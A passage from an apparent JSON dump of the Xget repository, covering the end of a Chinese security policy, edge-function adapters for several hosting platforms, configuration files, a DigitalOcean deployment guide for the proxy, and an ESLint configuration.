安全公告邮件（如适用）\n\n### 更新优先级\n\n- **严重**: 立即更新\n- **高**: 24 小时内更新\n- **中**: 7 天内更新\n- **低**: 下次常规更新\n\n## 🤝 安全贡献\n\n### 安全研究\n\n我们欢迎负责任的安全研究，包括：\n\n- 代码审计\n- 渗透测试\n- 漏洞发现\n- 安全改进建议\n\n### 致谢\n\n我们将在适当的地方公开感谢报告安全问题的研究人员（除非他们要求匿名）。\n\n## 📞 紧急联系\n\n对于严重的安全问题，请立即联系：\n\n- **邮箱**: <i@xi-xu.me>\n- **主题**: [URGENT SECURITY] 紧急安全问题\n\n我们承诺在收到紧急安全报告后 12 小时内响应。\n\n---\n\n感谢您帮助保持 Xget 的安全性！\n"
  },
  {
    "path": "adapters/functions/api/index.js",
    "content": "/**\n * Xget - High-performance acceleration engine for developer resources\n * Copyright (C) 2025 Xi Xu\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <https://www.gnu.org/licenses/>.\n */\n\nimport { handleRequest } from '../../../src/app/handle-request.js';\n\n/**\n * @typedef {{\n *   ALLOWED_METHODS?: string,\n *   ALLOWED_ORIGINS?: string,\n *   CACHE_DURATION?: string,\n *   MAX_PATH_LENGTH?: string,\n *   MAX_RETRIES?: string,\n *   RETRY_DELAY_MS?: string,\n *   TIMEOUT_SECONDS?: string\n * }} RuntimeEnv\n */\n\n/**\n * @typedef {{\n *   env?: RuntimeEnv,\n *   geo?: unknown,\n *   ip?: string,\n *   waitUntil?: (promise: Promise<unknown>) => void\n * }} FunctionAdapterContext\n */\n\n/**\n * Edge Function handler.\n * @param {Request} request - Standard Web API Request object\n * @param {FunctionAdapterContext} [context] - Platform-specific context (Netlify only)\n * @returns {Promise<Response>} Standard Web API Response\n * @example\n * // Netlify invokes with context\n * handler(request, { geo: {...}, ip: '1.2.3.4', env: {...}, waitUntil: fn })\n * @example\n * // Vercel invokes without context\n * handler(request)\n */\nexport default async function handler(request, context) {\n  const runtimeContext = context || /** @type {FunctionAdapterContext} */ ({});\n\n  // Detect runtime environment\n  const isNetlify = runtimeContext.geo !== undefined || runtimeContext.ip !== undefined;\n\n  // Normalize environment variables\n  // Netlify provides context.env, Vercel Edge uses globalThis\n  /** @type {RuntimeEnv} */\n  let envSource;\n  if (isNetlify) {\n    envSource = runtimeContext.env || {};\n  } else if (typeof process !== 'undefined' && process.env) {\n    // Vercel or Node.js environment\n    envSource = process.env;\n  } else {\n    // Fallback for other environments\n    envSource = {};\n  }\n\n  const env = {\n    TIMEOUT_SECONDS: envSource.TIMEOUT_SECONDS,\n    MAX_RETRIES: envSource.MAX_RETRIES,\n    RETRY_DELAY_MS: envSource.RETRY_DELAY_MS,\n    CACHE_DURATION: envSource.CACHE_DURATION,\n    ALLOWED_METHODS: envSource.ALLOWED_METHODS,\n    ALLOWED_ORIGINS: envSource.ALLOWED_ORIGINS,\n    MAX_PATH_LENGTH: envSource.MAX_PATH_LENGTH\n  };\n\n  // Create normalized execution context\n  const waitUntil = isNetlify && runtimeContext.waitUntil ? runtimeContext.waitUntil : null;\n  const ctx = {\n    waitUntil: waitUntil\n      ? /**\n         * Forwards background work in runtimes that support waitUntil.\n         * @param {Promise<unknown>} promise\n         */\n        promise => waitUntil(promise)\n      : (\n          /** @type {Promise<unknown>} */\n          _promise\n        ) => {\n          void _promise;\n          // No-op on Vercel: background tasks not supported\n          // Cache writes will run synchronously instead\n          console.warn('waitUntil is not supported in Vercel Edge Runtime');\n        },\n    passThroughOnException: () => {\n      // Not supported on either platform in this context\n      console.warn('passThroughOnException is not universally supported');\n    }\n  };\n\n  // Delegate to the main request handler\n  return handleRequest(request, env, ctx);\n}\n\n// Vercel Edge Runtime configuration (ignored by Netlify)\nexport const config = {\n  runtime: 'edge'\n};\n"
  },
  {
    "path": "adapters/functions/deno.js",
    "content": "/**\n * Xget - High-performance acceleration engine for developer resources\n * Copyright (C) 2025 Xi Xu\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <https://www.gnu.org/licenses/>.\n */\n\n/* eslint-disable no-undef */\n\nimport { handleRequest } from '../../src/app/handle-request.js';\n\n/**\n * Deno Deploy handler.\n *\n * This is the entry point for Deno Deploy deployments. It uses the\n * standard Deno.serve() API to handle incoming HTTP requests.\n * @param {Request} request - Standard Web API Request object\n * @returns {Promise<Response>} Standard Web API Response\n * @example\n * // Deno Deploy invokes automatically:\n * // Deno.serve((request) => handler(request))\n */\nasync function handler(request) {\n  // Extract environment variables from Deno.env\n  const env = {\n    TIMEOUT_SECONDS: Deno.env.get('TIMEOUT_SECONDS'),\n    MAX_RETRIES: Deno.env.get('MAX_RETRIES'),\n    RETRY_DELAY_MS: Deno.env.get('RETRY_DELAY_MS'),\n    CACHE_DURATION: Deno.env.get('CACHE_DURATION'),\n    ALLOWED_METHODS: Deno.env.get('ALLOWED_METHODS'),\n    ALLOWED_ORIGINS: Deno.env.get('ALLOWED_ORIGINS'),\n    MAX_PATH_LENGTH: Deno.env.get('MAX_PATH_LENGTH')\n  };\n\n  // Create minimal ExecutionContext-like object\n  // Deno Deploy doesn't support waitUntil, so cache writes are synchronous\n  const ctx = {\n    waitUntil: (\n      /** @type {Promise<unknown>} */\n      promise\n    ) => {\n      void promise;\n      // No-op on Deno: background tasks not supported\n      console.warn('waitUntil is not supported in Deno Deploy');\n    },\n    passThroughOnException: () => {\n      console.warn('passThroughOnException is not supported in Deno Deploy');\n    }\n  };\n\n  // Delegate to the main request handler\n  return handleRequest(request, env, ctx);\n}\n\n// Start the server only when executing inside Deno.\nif (typeof Deno !== 'undefined' && typeof Deno.serve === 'function') {\n  Deno.serve(handler);\n}\n\nexport { handler };\n"
  },
  {
    "path": "adapters/functions/netlify/edge-functions/edge-handler.js",
    "content": "/**\n * Xget - High-performance acceleration engine for developer resources\n * Copyright (C) 2025 Xi Xu\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n */\n\n/**\n * Netlify Edge Function entry point.\n *\n * This file serves as a redirect to the edge function handler\n * located at /api/index.js. Both Netlify and Vercel can use the same\n * handler code, with platform detection handling the differences.\n *\n * Netlify requires edge functions to be in netlify/edge-functions/,\n * while Vercel uses /api/ directory. This approach maintains a single\n * source of truth at /api/index.js.\n */\nexport { config, default } from '../../api/index.js';\n\n"
  },
  {
    "path": "adapters/functions/netlify.toml",
    "content": "[[edge_functions]]\nfunction = \"edge-handler\"\npath = \"/*\"\n\n[build]\npublish = \".\"\n"
  },
  {
    "path": "adapters/functions/package.json",
    "content": "{\n  \"name\": \"xget\",\n  \"version\": \"1.0.0\",\n  \"type\": \"module\",\n  \"private\": false,\n  \"scripts\": {\n    \"dev\": \"vercel dev\",\n    \"deploy\": \"vercel --prod\",\n    \"vercel-build\": \"echo 'No build step required'\"\n  },\n  \"dependencies\": {\n    \"express\": \"^4.19.2\"\n  },\n  \"devDependencies\": {\n    \"@vercel/node\": \"^3.0.0\"\n  }\n}\n"
  },
  {
    "path": "adapters/functions/vercel.json",
    "content": "{\n  \"$schema\": \"https://openapi.vercel.sh/vercel.json\",\n  \"name\": \"xget\",\n  \"version\": 2,\n  \"rewrites\": [\n    {\n      \"source\": \"/(.*)\",\n      \"destination\": \"/api/index.js\"\n    }\n  ],\n  \"headers\": [\n    {\n      \"source\": \"/(.*)\",\n      \"headers\": [\n        {\n          \"key\": \"X-Powered-By\",\n          \"value\": \"Xget/Vercel\"\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "adapters/pages/functions/[[path]].js",
    "content": "/**\n * Xget - High-performance acceleration engine for developer resources\n * Copyright (C) 2025 Xi Xu\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <https://www.gnu.org/licenses/>.\n */\n\nimport { handleRequest } from '../../../src/app/handle-request.js';\n\n/**\n * @typedef {{\n *   request: Request,\n *   env: Record<string, unknown>,\n *   params: object,\n *   waitUntil: (promise: Promise<unknown>) => void,\n *   next: () => Promise<Response>,\n *   data: object\n * }} PagesFunctionContext\n */\n\n/**\n * Pages Function handler for all routes.\n *\n * This catch-all route handler processes all incoming requests to the Xget\n * acceleration engine. It delegates request processing to the main handleRequest\n * function from the Workers code, maintaining full compatibility with the\n * existing implementation.\n *\n * The [[path]] syntax in the filename creates a catch-all route that matches\n * any path, allowing this single function to handle all requests to the Pages\n * application.\n * @param {PagesFunctionContext} context - Pages Function context\n * @returns {Promise<Response>} The HTTP response to return to the client\n * @example\n * // This is called automatically by Pages\n * // Runtime invokes: onRequest(context)\n * // Returns: Response with package data\n * @example\n * // Environment variables usage\n * // wrangler.toml: [vars] TIMEOUT_SECONDS = \"60\"\n * // context.env contains: { TIMEOUT_SECONDS: \"60\" }\n * // handleRequest uses createConfig(env) to override defaults\n */\nexport async function onRequest(context) {\n  // Extract request, env, and create an execution context compatible with Workers\n  const { request, env, waitUntil } = context;\n\n  // Create a minimal ExecutionContext-like object for compatibility\n  const ctx = {\n    waitUntil,\n    passThroughOnException: () => {\n      // Pages doesn't support passThroughOnException, so this is a no-op\n      console.warn('passThroughOnException is not supported in Pages Functions');\n    }\n  };\n\n  // Delegate to the main request handler\n  return handleRequest(request, env, ctx);\n}\n"
  },
  {
    "path": "adapters/pages/wrangler.toml",
    "content": "#:schema node_modules/wrangler/config-schema.json\nname = \"xget\"\npages_build_output_dir = \".\"\ncompatibility_date = \"2024-10-22\"\ncompatibility_flags = [\"nodejs_compat\"]\n"
  },
  {
    "path": "codecov.yml",
    "content": "codecov:\n  require_ci_to_pass: true\n  strict_yaml_branch: main\n\ncoverage:\n  precision: 2\n  round: down\n  range: 0..100\n  status:\n    project:\n      default:\n        target: auto\n        threshold: 0.5%\n    patch:\n      default:\n        target: 85%\n        threshold: 2%\n\nignore:\n  - \"test/**\"\n  - \"coverage/**\"\n  - \"docs/**\"\n  - \"adapters/**\"\n  - \"scripts/**\"\n  - \".github/**\"\n  - \"*.config.js\"\n  - \"*.config.mjs\"\n\ncomment:\n  layout: \"condensed_header, condensed_files, condensed_footer\"\n  behavior: default\n  require_changes: false\n  hide_project_coverage: false\n"
  },
  {
    "path": "commitlint.config.mjs",
    "content": "export default {\n  extends: [\"@commitlint/config-conventional\"],\n};\n"
  },
  {
    "path": "config.capnp",
    "content": "using Workerd = import \"/workerd/workerd.capnp\";\n\nconst config :Workerd.Config = (\n  services = [\n    (name = \"main\", worker = .worker),\n  ],\n  sockets = [\n    (service = \"main\", name = \"http\", address = \"*:8080\", http = ()),\n  ],\n);\n\nconst worker :Workerd.Worker = (\n  modules = [\n    (name = \"worker\", esModule = embed \"dist/index.js\"),\n  ],\n  # Match the compatibility_date in wrangler.toml\n  compatibilityDate = \"2024-10-22\",\n  # Enable Node.js compatibility to match wrangler.toml\n  compatibilityFlags = [\"nodejs_compat\"],\n);\n"
  },
  {
    "path": "docs/deploy-on-digitalocean.md",
    "content": "# Deploying and Optimizing Xget on DigitalOcean\n\nXget itself is shipped as a container image, so it fits very naturally into DigitalOcean’s ecosystem (Droplets, App Platform, Kubernetes, and Container Registry).\n\nThis guide explains how to run Xget efficiently on DigitalOcean and how to design a simple, robust acceleration layer for your team.\n\n## 1. Which DigitalOcean product should I use for Xget?\n\nDepending on your scale and operations model, you can pick one of these typical setups:\n\n| Scenario                                    | Recommended option             | Characteristics                                                     |\n| ------------------------------------------- | ------------------------------ | ------------------------------------------------------------------- |\n| Personal / small team, simple traffic       | Droplet + Docker Compose       | Lowest cost, closest to the official self-hosting examples          |\n| Small / mid-size team, prefer fully managed | App Platform (container mode)  | Automatic HTTPS, deployments, and autoscaling                       |\n| Large team / enterprise, complex traffic    | DigitalOcean Kubernetes (DOKS) | Most flexible; supports fine-grained scaling and rollout strategies |\n\nYou can also use DigitalOcean Container Registry (DOCR) for your own Xget builds or to host business images that Xget will accelerate.\n\n## 2. Option 1: Droplet + Docker Compose (closest to \"plain\" self-hosting)\n\n### 2.1 Prerequisites\n\n1. **Create a Droplet**\n\n   * Recommended OS: Ubuntu 22.04 / 24.04 LTS.\n   * Size suggestions:\n\n     * Personal / small team: 1 vCPU / 1–2 GB RAM to start with.\n     * High concurrent downloads: prefer Premium Intel/AMD or CPU-Optimized Droplets.\n   * Region: pick a region close to your main users or to upstream services (e.g., GitHub, GHCR, DOCR).\n\n2. **Configure DNS**\n\n   In DigitalOcean DNS, create a record, for example:\n\n   * `xget.example.com` → your Droplet’s public IP address.\n\n3. **Install Docker & Docker Compose (example on Ubuntu)**\n\n   ```bash\n   # Update system\n   sudo apt update && sudo apt upgrade -y\n\n   # Install dependencies\n   sudo apt install -y ca-certificates curl gnupg\n\n   # Docker’s official GPG key and repo\n   sudo install -m 0755 -d /etc/apt/keyrings\n   curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \\\n     sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg\n\n   echo \\\n     \"deb [arch=$(dpkg --print-architecture) \\\n     signed-by=/etc/apt/keyrings/docker.gpg] \\\n     https://download.docker.com/linux/ubuntu \\\n     $(lsb_release -cs) stable\" | \\\n     sudo tee /etc/apt/sources.list.d/docker.list > /dev/null\n\n   sudo apt update\n   sudo apt install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin\n\n   # Allow current user to run docker without sudo (optional)\n   sudo usermod -aG docker $USER\n   ```\n\n   Log out and back in so group changes take effect.\n\n### 2.2 Deploy Xget using Docker Compose\n\nBased on the self-hosting examples in the Xget README, it’s recommended to manage the container via Docker Compose.\n\n1. **Create a directory and `docker-compose.yml`:**\n\n   ```bash\n   mkdir -p ~/xget && cd ~/xget\n   ```\n\n   ```yaml\n   # docker-compose.yml\n   version: '3.8'\n\n   services:\n     xget:\n       image: ghcr.io/xixu-me/xget:latest\n       container_name: xget\n       # Bind only to 127.0.0.1; expose via reverse proxy\n       ports:\n         - \"127.0.0.1:8080:8080\"\n       restart: unless-stopped\n   ```\n\n2. **Bring up the service:**\n\n   ```bash\n   docker compose up -d\n   ```\n\n   Now Xget is running inside the Droplet on `127.0.0.1:8080`.\n\n### 2.3 Expose HTTPS via nginx + Let’s Encrypt\n\nInstead of exposing port 8080 directly, run nginx on the Droplet as a reverse proxy with HTTPS.\n\n1. **Install nginx and Certbot:**\n\n   ```bash\n   sudo apt install -y nginx certbot python3-certbot-nginx\n   ```\n\n2. **Request a certificate (example: `xget.example.com`):**\n\n   ```bash\n   sudo certbot --nginx -d xget.example.com\n   ```\n\n3. **Configure reverse proxy**\n\n   Certbot will create a `server` block for you. You can adapt/add configuration like:\n\n   ```nginx\n   server {\n       listen 80;\n       server_name xget.example.com;\n       return 301 https://$host$request_uri;\n   }\n\n   server {\n       listen 443 ssl http2;\n       server_name xget.example.com;\n\n       # ssl_certificate / ssl_certificate_key and related settings\n       # are usually injected by Certbot automatically.\n\n       location / {\n           proxy_pass         http://127.0.0.1:8080;\n           proxy_set_header   Host              $host;\n           proxy_set_header   X-Real-IP         $remote_addr;\n           proxy_set_header   X-Forwarded-For   $proxy_add_x_forwarded_for;\n           proxy_set_header   X-Forwarded-Proto $scheme;\n\n           # Longer timeouts for big downloads\n           proxy_read_timeout  600s;\n           proxy_send_timeout  600s;\n       }\n   }\n   ```\n\n4. **Reload nginx:**\n\n   ```bash\n   sudo nginx -t\n   sudo systemctl reload nginx\n   ```\n\nNow users can access Xget via `https://xget.example.com` through nginx → Xget container.\n\n### 2.4 Harden security with DigitalOcean Cloud Firewall\n\nTo reduce attack surface and abuse risk:\n\n* In Cloud Firewalls:\n\n  * Allow inbound only: `22` (SSH), `80` (HTTP) and `443` (HTTPS).\n  * Do *not* expose `8080` to the public Internet.\n* If needed, further restrict:\n\n  * Only allow company office IP ranges or CI/CD nodes.\n  * Combine with a VPN or other gateway if you need more control.\n\n## 3. Option 2: DigitalOcean App Platform (fully managed)\n\nApp Platform can run Xget directly from a container image or source code repo. It handles load balancing, TLS, and autoscaling for you, which is great if you don’t want to manage servers.\n\n### 3.1 Basic flow\n\n1. **Prepare the container image**\n\n   Two common options:\n\n   * Use the official image: `ghcr.io/xixu-me/xget:latest`\n   * Or mirror/rebuild Xget into DOCR if you want a private registry or faster internal pulls.\n\n2. **Create an App**\n\n   In the DigitalOcean control panel:\n\n   * Create new App → choose \"Container\".\n   * Source:\n\n     * DigitalOcean Container Registry *or*\n     * an external image (`ghcr.io/xixu-me/xget:latest`).\n   * Set the internal listening port to `8080`.\n\n3. **Configure routing**\n\n   * Map external path `/` to the Xget service.\n   * Bind your domain (e.g. `xget.example.com`) to the app and enable automatic HTTPS.\n\n4. **Scaling**\n\n   * In the Scaling section, set minimum number of instances, e.g. 2 replicas for high availability.\n   * Configure autoscaling based on CPU / memory usage.\n\n### 3.2 Pros and caveats\n\n* **Pros**\n\n  * No OS or Docker maintenance.\n  * Built-in TLS / certificate management.\n  * Simple scaling and deployment UX.\n\n* **Caveats**\n\n  * Xget is sensitive to large download traffic: you should monitor bandwidth and outbound data transfer costs.\n  * For advanced network control (VPC-only access, strict firewall rules), combine App Platform with Cloud Firewall and VPC.\n\n## 4. Option 3: DigitalOcean Kubernetes (DOKS)\n\nWhen you need multiple replicas, blue-green deployments, or fine-grained rollout strategies, run Xget on DOKS as a standard `Deployment`.\n\n### 4.1 Example Deployment & Service\n\n> Note: the health check path below uses `/`. If your build of Xget exposes a dedicated health endpoint, adjust accordingly.\n\n```yaml\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: xget\nspec:\n  replicas: 2\n  selector:\n    matchLabels:\n      app: xget\n  template:\n    metadata:\n      labels:\n        app: xget\n    spec:\n      containers:\n        - name: xget\n          image: ghcr.io/xixu-me/xget:latest\n          ports:\n            - containerPort: 8080\n          resources:\n            requests:\n              cpu: \"250m\"\n              memory: \"256Mi\"\n            limits:\n              cpu: \"1\"\n              memory: \"512Mi\"\n          readinessProbe:\n            httpGet:\n              path: /\n              port: 8080\n            initialDelaySeconds: 5\n            periodSeconds: 10\n          livenessProbe:\n            httpGet:\n              path: /\n              port: 8080\n            initialDelaySeconds: 30\n            periodSeconds: 30\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: xget\nspec:\n  selector:\n    app: xget\n  ports:\n    - port: 80\n      targetPort: 8080\n  type: LoadBalancer\n```\n\n* `type: LoadBalancer` will automatically create a DigitalOcean Load Balancer and assign a public IP.\n* Point `xget.example.com` to the Load Balancer IP in your DNS.\n\nIf you are using an Ingress Controller (nginx Ingress, Traefik, etc.), you can change the service type to `ClusterIP` and configure Ingress + cert-manager for Let’s Encrypt.\n\n## 5. Using DOCR + Xget as an image accelerator\n\nXget can act as a registry accelerator for multiple container registries, including DigitalOcean Container Registry (DOCR). The typical pattern is:\n\n* Original: `https://registry.digitalocean.com/...`\n* Through Xget: `https://<your Xget domain>/cr/digitalocean/...`\n\n### 5.1 Example: accelerate DOCR pulls\n\nSuppose your DOCR image is:\n\n```text\nregistry.digitalocean.com/my-registry/my-image:latest\n```\n\nYou can convert it to:\n\n```text\nhttps://xget.example.com/cr/digitalocean/my-registry/my-image:latest\n```\n\nThis is especially useful for scripting, diagnostic, or advanced caching setups around DOCR.\n\n### 5.2 Using Xget as a pull accelerator (daemon.json idea)\n\nIn some environments you can configure Docker / containerd to use Xget as a registry mirror. For example, in `/etc/docker/daemon.json`:\n\n```json\n{\n  \"registry-mirrors\": [\n    \"https://xget.example.com/cr/digitalocean\"\n  ]\n}\n```\n\n> Note: Support for non–Docker Hub mirrors depends on the Docker/containerd version and configuration. Treat this as a pattern; always verify behavior in your own environment.\n\n## 6. Using Xget on DigitalOcean to accelerate AI inference and dev dependencies\n\nXget also supports API acceleration for multiple AI inference providers (e.g., OpenAI, Anthropic, Gemini) through URL conversions such as `ip/<provider>`.\n\nOnce Xget is deployed on DigitalOcean, simply replace the public demo domain in examples with your own domain:\n\n```env\n# .env example\nOPENAI_BASE_URL=https://xget.example.com/ip/openai\nANTHROPIC_BASE_URL=https://xget.example.com/ip/anthropic\nGEMINI_BASE_URL=https://xget.example.com/ip/gemini\n```\n\nThen in your code (Python + OpenAI SDK):\n\n```python\nimport os\nfrom openai import OpenAI\n\nclient = OpenAI(\n    api_key=os.getenv(\"OPENAI_API_KEY\"),\n    base_url=os.getenv(\"OPENAI_BASE_URL\"),\n)\n```\n\nIf your CI/CD pipelines or backend services also run on DigitalOcean (Droplets, App Platform, DOKS), they can access Xget very close in network topology, reducing latency and cross-region hops.\n\n## 7. Monitoring, logging, and cost optimization\n\n1. **Monitoring**\n\n   * **Droplet**: Install the DigitalOcean Monitoring Agent to track CPU, memory, and bandwidth.\n   * **App Platform / DOKS**: Use the built-in metrics views and alerts.\n   * At the application level, you can inspect Xget’s response headers (e.g., performance metrics) to understand cache hits and upstream delays if Xget exposes such information in your setup.\n\n2. **Logging**\n\n   * Use `docker logs` or `kubectl logs` to inspect Xget container logs.\n   * Aggregate nginx / Ingress logs plus Xget logs into a centralized stack (ELK, Loki, etc.) for easier debugging.\n\n3. **Cost optimization**\n\n   * Start with a smaller Droplet or the lowest App Platform plan, then scale based on real traffic.\n   * For very high outbound traffic, focus on:\n\n     * Improving cache hit ratio.\n     * Avoiding redundant upstream requests.\n   * Choose regions that balance:\n\n     * End-user latency.\n     * Upstream connectivity quality (e.g., to GitHub, DOCR, AI providers).\n\n## 8. Security and abuse prevention\n\nBecause Xget is fundamentally a high-performance HTTP / Git / container registry proxy, you need to be careful about abuse:\n\n* Do not expose a completely open, unauthenticated Xget service to the entire public Internet if you don’t fully understand the risk.\n* Recommended mitigations:\n\n  * Restrict access to trusted IP ranges (office network, VPN, CI/CD nodes).\n  * Add authentication at the reverse proxy or gateway layer (e.g., Basic Auth, token-based, or JWT).\n  * Configure reasonable timeouts and concurrency limits to reduce the impact of misuse and protect upstreams.\n\nWith these patterns, you can deploy Xget on DigitalOcean using Droplets, App Platform, or Kubernetes, and combine it with DOCR, DNS, and firewalls to build a unified, robust acceleration layer for repositories, container images, and AI inference traffic.\n"
  },
  {
    "path": "eslint.config.js",
    "content": "import js from '@eslint/js';\nimport prettierConfig from 'eslint-config-prettier';\nimport jsdoc from 'eslint-plugin-jsdoc';\n\nexport default [\n  js.configs.recommended,\n  jsdoc.configs['flat/recommended'],\n  {\n    files: ['src/**/*.js', 'test/**/*.js', 'adapters/**/*.js'],\n    languageOptions: {\n      ecmaVersion: 2022,\n      sourceType: 'module',\n      globals: {\n        // Cloudflare Workers globals\n        addEventListener: 'readonly',\n        caches: 'readonly',\n        crypto: 'readonly',\n        fetch: 'readonly',\n        Request: 'readonly',\n        Response: 'readonly',\n        Headers: 'readonly',\n        URL: 'readonly',\n        URLSearchParams: 'readonly',\n        console: 'readonly',\n        AbortController: 'readonly',\n        AbortSignal: 'readonly',\n        setTimeout: 'readonly',\n        clearTimeout: 'readonly',\n        setInterval: 'readonly',\n        clearInterval: 'readonly',\n        ReadableStream: 'readonly',\n        WritableStream: 'readonly',\n        TransformStream: 'readonly',\n        TextEncoder: 'readonly',\n        TextDecoder: 'readonly',\n        performance: 'readonly',\n        globalThis: 'readonly',\n        process: 'readonly',\n\n        // Vitest globals\n        describe: 'readonly',\n        it: 'readonly',\n        expect: 'readonly',\n        beforeEach: 'readonly',\n        afterEach: 'readonly',\n        beforeAll: 'readonly',\n        afterAll: 'readonly',\n        vi: 'readonly'\n      }\n    },\n    settings: {\n      jsdoc: {\n        mode: 'typescript',\n        tagNamePreference: {\n          returns: 'returns'\n        }\n      }\n    },\n    rules: {\n      // JSDoc rules overrides\n      'jsdoc/require-description': 'warn',\n      'jsdoc/require-returns': 'off', // Often redundant if return type is void or obvious\n      'jsdoc/require-param-description': 'off', // Names are often self-explanatory\n      'jsdoc/no-undefined-types': [\n        'warn',\n        {\n          definedTypes: [\n            'ExecutionContext',\n            'Cache',\n            'RequestInit',\n            'Request',\n            'Response',\n            'Headers',\n            'URL',\n            'URLSearchParams',\n            'AbortController',\n            'AbortSignal',\n            'ReadableStream',\n            'WritableStream',\n            'TransformStream',\n            'TextEncoder',\n            'TextDecoder'\n          ]\n        }\n      ],\n\n      // Code quality rules\n      'no-unused-vars': [\n        'error',\n        {\n          argsIgnorePattern: '^_',\n          varsIgnorePattern: '^_'\n        }\n      ],\n      'no-console': [\n        'warn',\n        {\n          allow: ['warn', 'error']\n        }\n      ],\n      'no-debugger': 'error',\n      'no-alert': 'error',\n\n      // Best practices\n      eqeqeq: ['error', 'always'],\n      curly: ['error', 'all'],\n      'no-eval': 'error',\n      'no-implied-eval': 'error',\n      'no-new-func': 'error',\n      'no-script-url': 'error',\n      'no-self-compare': 'error',\n      'no-sequences': 'error',\n      'no-throw-literal': 'error',\n      'no-unmodified-loop-condition': 'error',\n      'no-unused-expressions': 'error',\n      'no-useless-call': 'error',\n      'no-useless-concat': 'error',\n      'no-useless-return': 'error',\n      'prefer-promise-reject-errors': 'error',\n      radix: 'error',\n      yoda: 'error',\n\n      // Variables\n      'no-delete-var': 'error',\n      'no-label-var': 'error',\n      'no-restricted-globals': 'error',\n      'no-shadow': 'error',\n      'no-shadow-restricted-names': 'error',\n      'no-undef': 'error',\n      'no-undef-init': 'error',\n      'no-use-before-define': [\n        'error',\n        {\n          functions: false,\n          classes: true,\n          variables: true\n        }\n      ],\n\n      // Stylistic issues\n      'array-bracket-spacing': ['error', 'never'],\n      'block-spacing': ['error', 'always'],\n      'brace-style': [\n        'error',\n        '1tbs',\n        {\n          allowSingleLine: true\n        }\n      ],\n      camelcase: [\n        'error',\n        {\n          properties: 'never'\n        }\n      ],\n      'comma-dangle': ['error', 'never'],\n      'comma-spacing': [\n        'error',\n        {\n          before: false,\n          after: true\n        }\n      ],\n      'comma-style': ['error', 'last'],\n      'computed-property-spacing': ['error', 'never'],\n      'eol-last': ['error', 'always'],\n      'func-call-spacing': ['error', 'never'],\n      indent: [\n        'error',\n        2,\n        {\n          SwitchCase: 1\n        }\n      ],\n      'key-spacing': [\n        'error',\n        {\n          beforeColon: false,\n          afterColon: true\n        }\n      ],\n      'keyword-spacing': [\n        'error',\n        {\n          before: true,\n          after: true\n        }\n      ],\n      'linebreak-style': ['error', 'unix'],\n      'no-multiple-empty-lines': [\n        'error',\n        {\n          max: 2,\n          maxEOF: 1\n        }\n      ],\n      'no-trailing-spaces': 'error',\n      'object-curly-spacing': ['error', 'always'],\n      quotes: [\n        'error',\n        'single',\n        {\n          avoidEscape: true\n        }\n      ],\n      semi: ['error', 'always'],\n      'semi-spacing': [\n        'error',\n        {\n          before: false,\n          after: true\n        }\n      ],\n      'space-before-blocks': ['error', 'always'],\n      'space-before-function-paren': [\n        'error',\n        {\n          anonymous: 'always',\n          named: 'never',\n          asyncArrow: 'always'\n        }\n      ],\n      'space-in-parens': ['error', 'never'],\n      'space-infix-ops': 'error',\n      'space-unary-ops': [\n        'error',\n        {\n          words: true,\n          nonwords: false\n        }\n      ],\n\n      // ES6+ rules\n      'arrow-spacing': [\n        'error',\n        {\n          before: true,\n          after: true\n        }\n      ],\n      'constructor-super': 'error',\n      'no-class-assign': 'error',\n      'no-const-assign': 'error',\n      'no-dupe-class-members': 'error',\n      'no-duplicate-imports': 'error',\n      'no-new-symbol': 'error',\n      'no-this-before-super': 'error',\n      'no-useless-computed-key': 'error',\n      'no-useless-constructor': 'error',\n      'no-useless-rename': 'error',\n      'no-var': 'error',\n      'object-shorthand': ['error', 'always'],\n      'prefer-arrow-callback': 'error',\n      'prefer-const': 'error',\n      'prefer-destructuring': [\n        'error',\n        {\n          array: true,\n          object: true\n        },\n        {\n          enforceForRenamedProperties: false\n        }\n      ],\n      'prefer-rest-params': 'error',\n      'prefer-spread': 'error',\n      'prefer-template': 'error',\n      'rest-spread-spacing': ['error', 'never'],\n      'template-curly-spacing': ['error', 'never']\n    }\n  },\n  prettierConfig, // Disable formatting rules that conflict with Prettier\n  {\n    files: ['test/**/*.js'],\n    rules: {\n      // Relax some rules for test files\n      'no-console': 'off',\n      'no-unused-expressions': 'off'\n    }\n  }\n];\n"
  },
  {
    "path": "package.json",
